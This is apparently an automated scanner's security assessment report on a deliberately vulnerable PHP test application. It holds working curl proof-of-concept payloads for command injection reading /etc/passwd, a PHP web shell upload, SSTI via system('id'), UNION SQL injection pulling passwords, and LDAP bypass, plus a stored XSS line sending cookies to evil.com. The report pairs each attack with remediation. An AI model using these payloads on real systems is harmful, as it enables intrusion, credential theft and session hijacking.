GGSec Cortex · GG Advanced IT Security

Security Assessment Report

GGSec Cortex v0.8a Alpha · AI-Guided DAST · Context-Aware SAST · Target: ggsec_test_app.php · Generated: 2026-07-03 20:51

CONFIDENTIAL

Executive Summary

GGSec Cortex identified 21 confirmed and 3 likely vulnerabilities. Every confirmed finding is evidence-backed (live proof-of-concept or a baseline-difference control), so false positives are minimised. **Immediate remediation is recommended.**

GGSec Cortex Test Application — a deliberately vulnerable PHP application with SQLi (1st/2nd order), XSS (reflected/stored/DOM), Command Injection, Path Traversal, SSTI (second-order via eval), XXE, File Upload RCE, LDAP Injection, and Prototype Pollution. False-positive traps (Level 3) use proper sanitization and are excluded.

Security Rating	**F · CRITICAL (10 Critical, 7 High)**
Max CVSS (v3.1)	**9,8 (Critical)**
Severity distribution	Critical: 10 High: 7 Medium: 15 Low: 0
Compromise probability	Very High (~95-100%)
Confirmed findings	**21**
Likely (needs review)	**3**
Business impact	**Full server compromise (remote code execution)**
Exploitation complexity	Low — reachable by a remote attacker
Likelihood	High — confirmed with a live proof-of-concept
Scan	SAST 129s · DAST 55s · 99 requests

Assessment Scope

Target	ggsec_test_app.php
Base URL	http://172.26.203.184
Endpoints tested	5
Total requests	99
HTTP methods	GET, POST, POST+GET
Vulnerability classes	12
Authentication	Unauthenticated
OOB collaborator	Enabled (blind detection)
Scan duration	SAST 129s · DAST 55s
Completed	2026-07-03 20:51

Scan Timeline

20:48:32 ● **Scan started**
20:50:40 ○ SAST analysis completed (129s, 34 targets)
20:50:40 ○ DAST probing started
20:50:41 ○ GGC-SQLI-AEE confirmed — SQL_QUERY id
20:50:41 ○ GGC-CSRF-910 confirmed — CSRF comment
20:50:41 ○ GGC-RCE-FAE confirmed — CODE_EXEC host

20:50:41 ○ GGC-PATH-42C confirmed — PATH_TRAVERSAL file
20:50:41 ○ GGC-SQLI-DE9 confirmed — SQL_QUERY view_user
20:50:41 ○ GGC-SQLI-249 confirmed — SQL_QUERY search
20:50:41 ○ GGC-XSS-9E0 confirmed — XSS location.hash
20:50:41 ○ GGC-XXE-43C confirmed — XXE xml
20:50:41 ○ GGC-VULN-C5F confirmed — LDAP_INJECTION user
20:50:41 ○ GGC-VULN-431 confirmed — FILE_UPLOAD upload
20:50:42 ○ GGC-CSRF-3B3 confirmed — CSRF username
20:50:42 ○ GGC-XSS-277 confirmed — XSS original_name
20:51:27 ○ GGC-XSS-E80 confirmed — XSS title
20:51:27 ○ GGC-SSTI-6EC confirmed — SSTI content
20:51:35 ○ GGC-XSS-9E0 confirmed — XSS location.hash
20:51:35 ○ GGC-SQLI-845 confirmed — SQL_QUERY id
20:51:35 ○ GGC-XSS-2E9 confirmed — XSS search
20:51:35 ○ GGC-SQLI-620 confirmed — SQL_QUERY username
20:51:35 ○ GGC-SQLI-733 confirmed — SQL_QUERY email
20:51:35 ○ GGC-XSS-FCA confirmed — XSS author
20:51:35 ○ GGC-XSS-909 confirmed — XSS comment
20:51:35 ○ DAST completed (55s, 99 requests)
20:51:41 ● **Report generated**

Risk Matrix

Likelihood \ Impact	Negligible	Minor	Moderate	Major	Severe
Almost certain			1	8	3
Likely			6	3	
Possible					
Unlikely					
Rare					

Endpoint Summary

Endpoint	Requests	Findings	Risk
`ggsec_test_app.php`	88	CODE_EXEC, CSRF, LDAP_INJECTION, OUTDATED_COMPONENT, PATH_TRAVERSAL, PII_EXPOSURE, SQL_QUERY, SSTI, XSS	Critical
`/ggsec_test_app.php`	2	SQL_QUERY, XSS	Critical
`/uploads/99ec225dedae958b7a876a9eaaf4bfe3_ggsec_shell.php`	1	FILE_UPLOAD	Critical
`http://172.26.203.184/ggsec_test_app.php`	6	XSS, XXE	High
`/merge`	2	—	OK

Remediation Plan

ID	Finding	CVSS	Priority	SLA

GGC-RCE-FAE	CODE_EXEC — host	9,8	P0	Fix immediately
GGC-VULN-431	FILE_UPLOAD — upload	9,8	P0	Fix immediately
GGC-SSTI-6EC	SSTI — content	9,8	P0	Fix immediately
GGC-VULN-C5F	LDAP_INJECTION — user	8,2	P1	Within 7 days
GGC-SQLI-733	SQL_QUERY — email	8,2	P1	Within 7 days
GGC-SQLI-845	SQL_QUERY — id	8,2	P1	Within 7 days
GGC-SQLI-AEE	SQL_QUERY — id	8,2	P1	Within 7 days
GGC-SQLI-249	SQL_QUERY — search	8,2	P1	Within 7 days
GGC-SQLI-620	SQL_QUERY — username	8,2	P1	Within 7 days
GGC-SQLI-DE9	SQL_QUERY — view_user	8,2	P1	Within 7 days
GGC-CSRF-910	CSRF — comment	8,1	P1	Within 7 days
GGC-CSRF-3B3	CSRF — username	8,1	P1	Within 7 days
GGC-PATH-42C	PATH_TRAVERSAL — file	7,5	P1	Within 7 days
GGC-XXE-43C	XXE — xml	7,5	P1	Within 7 days
GGC-XSS-FCA	XSS — author	6,1	P2	Within 30 days
GGC-XSS-909	XSS — comment	6,1	P2	Within 30 days
GGC-XSS-9E0	XSS — location.hash	6,1	P2	Within 30 days
GGC-XSS-277	XSS — original_name	6,1	P2	Within 30 days
GGC-XSS-2E9	XSS — search	6,1	P2	Within 30 days
GGC-XSS-E80	XSS — title	6,1	P2	Within 30 days

Findings (24)

[1] GGC-RCE-FAE · CODE_EXEC — host

CONFIRMED CVSS 9,8 Critical · CWE-94 Code Injection · Priority P0 (Fix immediately)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: ?page=cmd_exec

Impact: RCE (Direct)

Flow: $_GET['host'] flows through getParam() into $host, which is concatenated into $cmd = "ping -c 1 " . $host and passed to shell_exec(). No sanitization (no escapeshellarg, no whitelist). Arbitrary command injection via shell metacharacters.

Confidence 96% (High)

+50 Confirmed (strong signal)
+20 Direct detection (indicator)
+15 Damning token in response ("root:x:0:0")
+6 Reproduced by 10 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i 'ggsec_test_app.php?page=cmd_exec&host=%3B%20cat%20%2Fetc%2Fpasswd'
```

Evidence (live response):

```
<h2>Network Diagnostics</h2><p>Executing: ping -c 1 ; cat
/etc/passwd</p><pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:…
```

Remediation

Never pass user input to eval/system/shell — use safe APIs, allowlists, and argument escaping.

- Eliminate eval() and dynamic code execution on tainted input entirely.
- For OS commands, use array/exec APIs that bypass the shell; escape with escapeshellarg if unavoidable.
- Validate input against a strict allowlist (e.g. a known set of hostnames/IDs).
- Run the service under a low-privilege account.

References: CWE-94 · CWE-78 · OWASP: OS Command Injection Defense Cheat Sheet

---

[2] GGC-VULN-431 · FILE_UPLOAD — upload

CONFIRMED CVSS 9,8 Critical · CWE-434 Unrestricted Upload of File with Dangerous Type · Priority P0 (Fix immediately)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Compliance: A04:2021 – Insecure Design · PCI-DSS v4.0 Req 6.2.4 (business-logic) · ISO/IEC 27001:2022 A.8.28 / A.8.27 · GDPR Art. 25 + Art. 32 (data protection by design)

Location: ?page=file_upload_rce

Impact: RCE (Direct)

Flow: $_FILES['upload'] is validated against an extension allowlist that INCLUDES 'php', 'phtml', and 'php5'. The file is saved to __DIR__ . '/uploads/' with a partially predictable name (md5(uniqid()) . '_' . original_name). The uploads directory is web-accessible and no .htaccess or execution restrictions are in place. Additionally, if auto_include=1 is set, the uploaded file is directly include()'d — providing immediate RCE. Even without auto_include, direct access to /uploads/<name>.php executes the file.

Confidence 96% (High)

+50 Confirmed (strong signal)
+20 Direct detection (upload-rce)
+15 Damning token in response ("uid=")
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST '/uploads/99ec225dedae958b7a876a9eaaf4bfe3_ggsec_shell.php' --data
'upload:ggsec_shell.php'
```

Evidence (live response):

```
…sec_shell.php to ggsec_test_app.php?page=file_upload_rce; GET executed it → 200 uid=33(www-data)
gid=33(www-data) groups=33(www-data)
```

Remediation

Validate uploads by content (not just extension), store them outside the web root, and never execute them.

- Allowlist by verified MIME/magic bytes AND extension; reject double extensions (shell.php.jpg) and PHP/.phtml/.htaccess.
- Store uploads OUTSIDE the web root (or in a path with execution disabled: php_admin_flag engine off / no handler).
- Generate a random server-side filename; never reuse the client-supplied name or path.
- Serve downloads through a script with Content-Disposition: attachment, not by direct URL to the upload dir.

References: CWE-434 · OWASP: Unrestricted File Upload

---

[3] GGC-VULN-D0C · OUTDATED_COMPONENT — apache 2.4.58 · CVE-2024-38475

LIKELY CVSS 9,8 Critical · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component · Priority P0 (Fix immediately)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022 A.8.8 · GDPR Art. 32 (security of processing)

Location: HTTP Server / X-Powered-By banner

Impact: RCE (Direct)

Flow: The server banner indicates apache 2.4.58, which the version range for CVE-2024-38475 (fixed in 2.4.60) would cover — version-indicated only, not confirmed exploitable (banner may be backport-patched; vulnerable config/module not verified).

Confidence 43% (Low)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i 'ggsec_test_app.php'
```

Evidence (live response):

```
Server banner 'Apache/2.4.58' matches CVE-2024-38475 (CWE-22, Critical): mod_rewrite improper
output escaping → URL mapped to filesystem (RCE / source disclosure). Affected: version < 2.4.60.
VERSION-INDICATED / UNVERIFIED — this is a banner-only match: (1) a backported distro pa…
```

Remediation

Upgrade the flagged component to a fixed release; version-indicated — verify against your actual (possibly backported) build.

- Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
- Confirm the real installed version — a backported security fix can leave the banner version unchanged (avoid false positives).
- Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce fingerprinting.
- Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.

References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD

---

[4] GGC-SSTI-6EC · SSTI — content

CONFIRMED CVSS 9,8 Critical · CWE-1336 Server-Side Template Injection · Priority P0 (Fix immediately)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: ?page=ssti

Impact: RCE (Chained)

Flow: Second-order SSTI: $_POST['content'] is stored in the posts table via a prepared statement (safe INSERT). On a subsequent GET ?page=ssti&render=<id>, the stored content is fetched from DB. If template_engine='php', the content is passed to eval('?>' . $template), resulting in full RCE. If template_engine='twig', the content is echoed (potential Twig SSTI in a real environment). The injection is STORED at POST ?page=ssti and EVALUATED at GET ?page=ssti&render=<id>.

Confidence 99% (High)

+50 Confirmed (strong signal)
+20 Direct detection (ssti-rce-eval)
+15 Damning token in response ("uid=")
+6 Expected indicator reflected
+3 Reproduced by 3 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST 'ggsec_test_app.php?page=ssti&render=321' --data 'RENDER:seed=<?php system('id');
?>&title=ggsectest|store=/?page=ssti|storefield=content|render=/?page=ssti&render=NEWID|indicator=uid=|login=|e
```

Evidence (live response):

```
<h2><b>ggsecSTORED7</b></h2>GGX86df96cb49uid=33(www-data) gid=33(www-data) groups=33(www-data)
<form method='POST'> <input name='title' placeholder='Title'> <textarea name='content'
placeholder='Content (try: {{7*7}} for Twig)'></textarea> <select name='en…
```

Remediation

Never build templates from user input — pass user data as bound variables to a sandboxed engine.

- Keep templates static; render user data through the engine's context/variables, never concatenate it into the template source.
- Enable the engine's sandbox/auto-escape (e.g. Jinja2 SandboxedEnvironment, Twig sandbox) and disable dangerous tags/functions.
- Validate/allowlist any value that must influence template selection.

References: CWE-1336 · OWASP: Server-Side Template Injection

[5] GGC-VULN-C5F · LDAP_INJECTION — user

CONFIRMED CVSS 8,2 High · CWE-90 LDAP Injection · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: ?page=ldap_injection

Impact: AUTH_BYPASS (Direct)

Flow: $_GET['user'] flows through getParam() into $user, which is directly interpolated into the LDAP filter string "(&(uid=$user)(userPassword=$pass))". No ldap_escape() or any sanitization is applied. The application simulates the LDAP response and echoes 'Auth bypassed!' when metacharacters are detected, confirming exploitability.

Confidence 96% (High)

+50 Confirmed (strong signal)
+20 Direct detection (ldap-auth-bypass)
+15 Damning token in response ("uid=")
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i 'ggsec_test_app.php?page=ldap_injection'
```

Evidence (live response):

```
…t for a benign value) — filter/bind bypass. <h2>LDAP Auth</h2><p>Filter:
(&amp;(uid=*)(userPassword=))</p><p style='color:green'>Auth bypassed! (LDAP injection)</p><form>
<input name='user' placeholder='Username'> <input name='pass' type='password' placeholder='Pa…
```

Remediation

Escape LDAP special characters and use parameterized/allowlisted filters — never concatenate input into a filter.

- Escape filter metacharacters ( ) * \ NUL per RFC 4515 (ldap_escape() / framework equivalent).
- Build filters from a fixed template with bound values; allowlist attribute names.
- Bind with least-privilege service accounts; never authenticate by substituting input into the bind DN/filter.

References: CWE-90 · OWASP: LDAP Injection Prevention Cheat Sheet

[6] GGC-SQLI-733 · SQL_QUERY — email

CONFIRMED CVSS 8,2 High · CWE-89 SQL Injection (SQLite backend) · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: crawl-form: ggsec_test_app.php?page=sqli_second_order

Impact: RCE (Direct)

Flow: A crawler-discovered POST form (not in the SAST plan) returns a SQL error when a quote is injected into a field.

Confidence 75% (Medium)

+50 Confirmed (strong signal)
+20 Direct detection (crawl-sqli-post)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST 'ggsec_test_app.php?page=sqli_second_order' --data 'crawl-sqli-post'
```

Evidence (live response):

```
[CRAWL] POST form field 'email' surfaced a SQL error for a single-quote payload. <p>User
registered! ID: 51</p><p>Related posts query: SELECT * FROM posts WHERE title LIKE
&#039;%&#039;|&#039; UNION SELECT 1,2,3,4,5-- -|%&#039; UNION SELECT 1,2,3,4,5-- -|&#039; UNION
SELECT usern…
```

Remediation

Use parameterized queries / prepared statements — never build queries by string concatenation.

- Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named placeholders).
- For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type checks).
- Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
- Add allowlist validation for structural elements that cannot be parameterized (column/table names, ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

---

[7] GGC-SQLI-845 · SQL_QUERY — id

CONFIRMED CVSS 8,2 High · CWE-89 SQL Injection (SQLite backend) · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: crawl: /ggsec_test_app.php?page=sqli_first_order&id=1

Impact: RCE (Direct)

Flow: A crawler-discovered param-bearing endpoint (not in the SAST plan) returns a SQL error when a quote is injected.

Confidence 90% (High)

+50 Confirmed (strong signal)
+20 Direct detection (crawl-sqli)
+15 Damning token in response ("SQLSTATE")
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i '/ggsec_test_app.php?page=sqli_first_order&id=1'
```

Evidence (live response):

```
[CRAWL] param 'id' on a spider-discovered URL surfaced a SQL error for a single-quote payload.
<h2>User Profile</h2><p>Query: SELECT * FROM users WHERE id = &#039;</p><p
style='color:red'>Error: SQLSTATE[HY000]: General error: 1 unrecognized token: "'"</p>
```

Remediation

Use parameterized queries / prepared statements — never build queries by string concatenation.

- Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named placeholders).
- For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type checks).
- Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
- Add allowlist validation for structural elements that cannot be parameterized (column/table names, ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

---

[8] GGC-SQLI-AEE · SQL_QUERY — id

CONFIRMED CVSS 8,2 High · CWE-89 SQL Injection (SQLite backend) · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: ?page=sqli_first_order

Impact: AUTH_BYPASS (Direct)

Flow: $_GET['id'] flows through getParam() into $id, which is directly concatenated into the SQL string "SELECT * FROM users WHERE id = " . $id and executed via $pdo->query(). Error messages from PDOException are echoed, enabling error-based SQLi. Time-based and UNION-based also possible.

Confidence 96% (High)

+50 Confirmed (strong signal)
+20 Direct detection (sql-error-body)
+15 Damning token in response ("SQLSTATE")
+6 Reproduced by 7 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i
'ggsec_test_app.php?page=sqli_first_order&id=1%20AND%201%3D2%20UNION%20SELECT%20username%2Cpassword%2Crole%2C4%
-'
```

Evidence (live response):

```
…,4,5,6 FROM users WHERE role=&#039;admin&#039;--</p><p style='color:red'>Error: SQLSTATE[HY000]:
General error: 1 SELECTs to the left and right of UNION do not have the same number of result
columns</p>
```

Remediation

Use parameterized queries / prepared statements — never build queries by string concatenation.

- Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named placeholders).
- For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type checks).
- Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
- Add allowlist validation for structural elements that cannot be parameterized (column/table names, ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

---

[9] GGC-SQLI-249 · SQL_QUERY — search

CONFIRMED CVSS 8,2 High · CWE-89 SQL Injection (SQLite backend) · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: ?page=sqli_second_order

Impact: AUTH_BYPASS (Chained)

Flow: Second-order SQLi: $_GET['search'] is stored into users.search_history via a prepared statement (safe INSERT), but the stored value is later retrieved and concatenated into $relatedQuery = "SELECT * FROM posts WHERE title LIKE '%" . $history . "%'". The search_history column accumulates all prior search values and is concatenated directly into the query string. An attacker stores a malicious search term, then triggers the read on the next request.

Confidence 94% (High)

+50 Confirmed (strong signal)
+20 Direct detection (sql-error-body)
+15 Damning token in response ("SQLSTATE")
+4 Reproduced by 4 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i 'ggsec_test_app.php?page=sqli_second_order&view_user=1&search=%27'
```

Evidence (live response):

```
…nt,template_engine,4 FROM posts--|&#039;|%&#039;</p><p style='color:red'>Error: SQLSTATE[HY000]:
General error: 1 SELECTs to the left and right of UNION do not have the same number of result
columns</p><form method='POST'> <input name='username' placeholder='Username'>…
```

Remediation

Use parameterized queries / prepared statements — never build queries by string concatenation.

- Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named placeholders).
- For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type checks).
- Apply least-privilege DB credentials; the web user should not own DDL or admin rights.

• Add allowlist validation for structural elements that cannot be parameterized (column/table names, ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

---

[10] GGC-SQLI-620 · SQL_QUERY — username

CONFIRMED CVSS 8,2 High · CWE-89 SQL Injection (SQLite backend) · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: crawl-form: ggsec_test_app.php?page=sqli_second_order

Impact: RCE (Direct)

Flow: A crawler-discovered POST form (not in the SAST plan) returns a SQL error when a quote is injected into a field.

Confidence 75% (Medium)

+50 Confirmed (strong signal)
+20 Direct detection (crawl-sqli-post)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST 'ggsec_test_app.php?page=sqli_second_order' --data 'crawl-sqli-post'
```

Evidence (live response):

```
[CRAWL] POST form field 'username' surfaced a SQL error for a single-quote payload. <p>User registered! ID: 49</p><p>Related posts query: SELECT * FROM posts WHERE title LIKE &#039;%&#039;|&#039; UNION SELECT 1,2,3,4,5-- -|%&#039; UNION SELECT 1,2,3,4,5-- -|&#039; UNION SELECT us…
```

Remediation

Use parameterized queries / prepared statements — never build queries by string concatenation.

• Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named placeholders).
• For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type checks).
• Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
• Add allowlist validation for structural elements that cannot be parameterized (column/table names, ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

---

[11] GGC-SQLI-DE9 · SQL_QUERY — view_user

CONFIRMED CVSS 8,2 High · CWE-89 SQL Injection (SQLite backend) · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`

Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of processing)

Location: ?page=sqli_second_order

Impact: AUTH_BYPASS (Direct)

Flow: $_GET['view_user'] flows through getParam() into $userId, which is directly concatenated into two SQL queries: "SELECT * FROM users WHERE id = " . $userId and "SELECT search_history FROM users WHERE id = " . $userId. Both are executed via $pdo->query() without prepared statements. First-order SQLi on the view_user parameter.

Confidence 95% (High)

+50 Confirmed (strong signal)
+20 Direct detection (sql-error-body)
+15 Damning token in response ("SQLSTATE")
+5 Reproduced by 5 payload(s)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i
'ggsec_test_app.php?page=sqli_second_order&view_user=1%20UNION%20SELECT%20username%2Cpassword%2Crole%2Cemail%2C
-'
```

Evidence (live response):

```
<br /> <b>Fatal error</b>: Uncaught PDOException: SQLSTATE[HY000]: General error: 1 SELECTs to the
left and right of UNION do not have the same number of result columns in
/var/www/html/ggsec_test_app.php:288 Stack trace: #0 /var/www/html/ggsec_test_app.php(288): PDO-
&gt;query()…
```

Remediation

Use parameterized queries / prepared statements — never build queries by string concatenation.

- Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named placeholders).
- For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type checks).
- Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
- Add allowlist validation for structural elements that cannot be parameterized (column/table names, ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

---

[12] GGC-CSRF-910 · CSRF — comment

CONFIRMED CVSS 8,1 High · CWE-352 Cross-Site Request Forgery · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N`

Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art. 5(1)(f) + Art. 32 (confidentiality)

Location: ?page=xss_stored (comment form, POST)

Impact: SESSION_THEFT (Direct)

Flow: The comment form at ?page=xss_stored accepts POST requests to INSERT comments without any CSRF token. An attacker can craft a cross-origin form submission to post arbitrary comments (including stored XSS payloads) on behalf of a victim.

Confidence 75% (Medium)

+50 Confirmed (strong signal)
+20 Direct detection (csrf-no-token)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST 'ggsec_test_app.php?page=xss_stored' --data
'post_id=1&author=csrftest&comment=csrf_comment'
```

Evidence (live response):

```
…b></b>: </div><div class='comment'><b></b>: </div><div class='comment'><b></b>:
<script>document.location='http://evil.com/?c='+document.cookie</script></div><div
class='comment'><b></b>: </div><div class='comment'><b></b>: </div><div class='comment'><b></b>:
</div><div class='co…
```

Remediation

Require an anti-CSRF token on state-changing requests and use SameSite cookies.

- Add per-session/per-request CSRF tokens to all state-changing forms and verify them server-side.
- Set SameSite=Lax/Strict on session cookies; verify Origin/Referer for sensitive actions.
- Never perform state changes via GET.

References: CWE-352 · OWASP: CSRF Prevention Cheat Sheet

---

[13] GGC-CSRF-3B3 · CSRF — username

CONFIRMED CVSS 8,1 High · CWE-352 Cross-Site Request Forgery · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N`

Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art. 5(1)(f) + Art. 32 (confidentiality)

Location: ?page=sqli_second_order (registration form, POST)

Impact: PRIV_ESC (Direct)

Flow: The user registration form at ?page=sqli_second_order accepts POST requests to INSERT new users without any CSRF token. An attacker can craft a cross-origin form submission to register arbitrary users.

Confidence 96% (High)

+50 Confirmed (strong signal)
+20 Direct detection (csrf-no-token)
+15 Damning token in response ("SQLSTATE")
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i -X POST 'ggsec_test_app.php?page=sqli_second_order' --data
'username=csrftest&email=csrf@test.com'
```

Evidence (live response):

```
…posts--|&#039;|admin&#039; OR SLEEP(5)--|%&#039;</p><p style='color:red'>Error: SQLSTATE[HY000]:
General error: 1 SELECTs to the left and right of UNION do not have the same number of result
columns</p><form method='POST'> <input name='username' placeholder='Username'>…
```

Remediation

Require an anti-CSRF token on state-changing requests and use SameSite cookies.

- Add per-session/per-request CSRF tokens to all state-changing forms and verify them server-side.
- Set SameSite=Lax/Strict on session cookies; verify Origin/Referer for sensitive actions.
- Never perform state changes via GET.

References: CWE-352 · OWASP: CSRF Prevention Cheat Sheet

---

[14] GGC-VULN-637 · OUTDATED_COMPONENT — apache 2.4.58 · CVE-2024-38476

LIKELY CVSS 7,5 High · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022 A.8.8 · GDPR Art. 32 (security of processing)

Location: HTTP Server / X-Powered-By banner

Impact: DOS (Direct)

Flow: The server banner indicates apache 2.4.58, which the version range for CVE-2024-38476 (fixed in 2.4.60) would cover — version-indicated only, not confirmed exploitable (banner may be backport-patched; vulnerable config/module not verified).

Confidence 43% (Low)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+5 Stable 2xx response

Proof of Concept

Reproduce:

```
curl -i 'ggsec_test_app.php'
```

Evidence (live response):

```
Server banner 'Apache/2.4.58' matches CVE-2024-38476 (CWE-476, High): mod_proxy null-pointer
dereference → DoS via malicious backend response headers. Affected: version < 2.4.60. VERSION-
INDICATED / UNVERIFIED — this is a banner-only match: (1) a backported distro patch may leave…
```

Remediation

Upgrade the flagged component to a fixed release; version-indicated — verify against your actual (possibly backported) build.

- Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
- Confirm the real installed version — a backported security fix can leave the banner version unchanged (avoid false positives).
- Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce fingerprinting.
- Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.

References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD

[15] GGC-PATH-42C · PATH_TRAVERSAL — file

CONFIRMED CVSS 7,5 High · CWE-22 Path Traversal / Arbitrary File Read · Priority P1 (Within 7 days)

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art. 5(1)(f) + Art. 32 (confidentiality)

Location: ?page=path_traversal

Impact: FILE_READ (Direct)

